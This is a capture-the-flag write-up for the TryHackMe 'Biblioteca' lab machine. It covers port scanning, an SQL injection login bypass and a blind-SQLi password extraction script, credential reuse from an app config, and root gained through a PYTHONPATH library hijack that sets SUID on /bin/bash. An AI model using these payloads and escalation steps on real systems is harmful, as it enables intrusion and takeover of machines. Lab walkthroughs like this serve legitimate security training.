Hacking the matrix, one phish at a time

Biblioteca – THM Writeup

biblioteca thm writeup

Reconnaissance

Port Scan

We start by doing an nmap to discover the open ports:

nmap -p- -sS --min-rate 5000 -vvv -n -Pn 10.65.170.86 -oG allPorts
  • -p-: Scan all 65535 TCP ports
  • -sS: Perform a SYN stealth scan
  • --min-rate 5000: Send packets no slower than 5000 per second
  • -vvv: Very verbose output for detailed information
  • -n: Skip DNS resolution to speed up the scan
  • -Pn: Skip host discovery and assume the host is up
  • -oG allPorts: Save results in grepable format to file named allPorts

Obtaining only ports 22 and 8000 are open:

PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack ttl 62
8000/tcp open  http-alt syn-ack ttl 62

And then we perform another nmap more intense on the open ports discovered:

nmap -p22,8000 -sCV 10.65.170.86 -oN target
  • -p22,8000: Scan only ports 22 and 8000
  • -sC: Run default NSE scripts for additional enumeration
  • -sV: Probe open ports to determine service and version information
  • -oN target: Save output in normal format to file named target
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 01:94:05:88:81:4c:04:b1:df:07:c5:6e:33:ae:5c:02 (RSA)
|   256 9d:54:d2:49:65:9d:ff:c6:eb:9c:9d:92:ee:f2:a3:be (ECDSA)
|_  256 65:16:4d:3f:8e:1e:11:2b:d3:72:8d:fa:5d:e0:36:be (ED25519)
8000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
|_http-title:  Login 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

So, it seems we will have to enter by the web at port 8000.

Web

The web only has a Login panel and a Sing Up part.

If we create an account and sing in as a dummy user test , we don’t see anything at all. So we might try to login as other user.

We try typicall combinations (admin:admin, admin:password, admin:admin123 …)

But nothing happens.

SQLi

If we try to make an SQLi to force a login with ' or 1=1-- -; at the user field, we se that we log in as the user smokey.

So, as we now know we are in front of a vulnerable page to SQLi, we will develop an script to obtain the password of smokey.

I have already developed the script and you can find it at my GitHub: https://github.com/nekr0ff/Blind-SQL-Injection-Password-Extractor

Installation of the Exploit

Clone this repository:

git clone https://github.com/nekr0ff/Blind-SQL-Injection-Password-Extractor.git
cd Blind-SQL-Injection-Password-Extractor

Install the dependencies:

pip install requests

Exploitation

python3 sqli_credentials.py -u smokey -t http://10.65.170.86:8000/login -m "Welcome to the index page..."

And with that we have the smokey password and we can connect through SSH to the machine

Lateral movement

We see that the user.txt is under hazel directory.

We execute the linpeas.sh and we discovered some interesing things:

  • The route to the web app is /var/opt/app/app.py
  • There is a mysql service running

We will connect to the MySQL server, but we don’t have a password.

Lucky us, at the /var/opt/app/app.py it is the configuration of the MySQL service.

We can connect with that password:

smokey@ip-10-65-170-86:/var/opt/app$ mysql -u smokey -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \\g.
Your MySQL connection id is 916
Server version: 8.0.41-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2025, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.

mysql> 

Unfortunately, we don’t find the password for hazel on the MySQL database.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| performance_schema |
| website            |
+--------------------+
3 rows in set (0.00 sec)

mysql> use website;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-------------------+
| Tables_in_website |
+-------------------+
| users             |
+-------------------+
1 row in set (0.01 sec)

mysql> describe users;
+----------+--------------+------+-----+---------+----------------+
| Field    | Type         | Null | Key | Default | Extra          |
+----------+--------------+------+-----+---------+----------------+
| id       | int          | NO   | PRI | NULL    | auto_increment |
| username | varchar(255) | NO   |     | NULL    |                |
| password | varchar(255) | NO   |     | NULL    |                |
| email    | varchar(100) | NO   |     | NULL    |                |
+----------+--------------+------+-----+---------+----------------+
4 rows in set (0.01 sec)

mysql> select username,password from users;
+----------+----------------+
| username | password       |
+----------+----------------+
| smokey   | M************* |
| test     | test123        |
+----------+----------------+
2 rows in set (0.00 sec)

mysql> 

After trying more strange techniques, I find out that the password for the user hazel was HER OWN NAME hazel

Privilege Escalation

Once we are logged in as hazel, we see that she has the privilege to execute

SETENV: NOPASSWD: /usr/bin/python3 /home/hazel/hasher.py

The file is this one:

import hashlib

def hashing(passw):

    md5 = hashlib.md5(passw.encode())

    print("Your MD5 hash is: ", end ="")
    print(md5.hexdigest())

    sha256 = hashlib.sha256(passw.encode())

    print("Your SHA256 hash is: ", end ="")
    print(sha256.hexdigest())

    sha1 = hashlib.sha1(passw.encode())

    print("Your SHA1 hash is: ", end ="")
    print(sha1.hexdigest())

def main():
    passw = input("Enter a password to hash: ")
    hashing(passw)

if __name__ == "__main__":
    main()

This is key because of the SETENV.

We see that this file imports the library hashlib , so we can manipulate the PYTHONPATH environment variable to inject malicious code with fake libraries (in this case, hashlib)

So, we create a file at a writeable directory (in this case hazel has no acces to any typicall directory, but we saw that smokey does has access to /tmp , so we will create the file as the user smokey to then execute it as hazel).

The file will be this hashlib.py:

import os

os.chmod("/bin/bash", 0o4755)

This gives SUID perm to /bin/bash.

Then we execute the file hijacking the PYTHONPATH variable as hazel:

sudo PYTHONPATH=/tmp/ /usr/bin/python3 /home/hazel/hasher.py

And now we execute the shell with privileges:

/bin/bash -p

There you go, you are now root.

Conclusion

This TryHackMe machine demonstrated a complete attack chain combining SQL injection for initial access, weak credential exploitation for lateral movement, and Python library hijacking via PYTHONPATH manipulation for privilege escalation. The box effectively reinforced essential penetration testing skills including web application exploitation, enumeration techniques, and understanding sudo misconfigurations with SETENV permissions.

Video Walkthrough

Here you have the resolution of the machine in my YouTube channel:

Index